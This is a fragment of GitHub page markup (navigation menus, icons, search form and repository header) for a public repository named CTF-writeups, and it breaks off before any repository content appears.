0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="zTKFjXlEIWH/bVc3y0kcPDZhPCrHgc07c21BkULoEt4nkKFWimDGmI6ZMpNfaK+C/b7atuPG/tDfVxw7G0pS3w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none 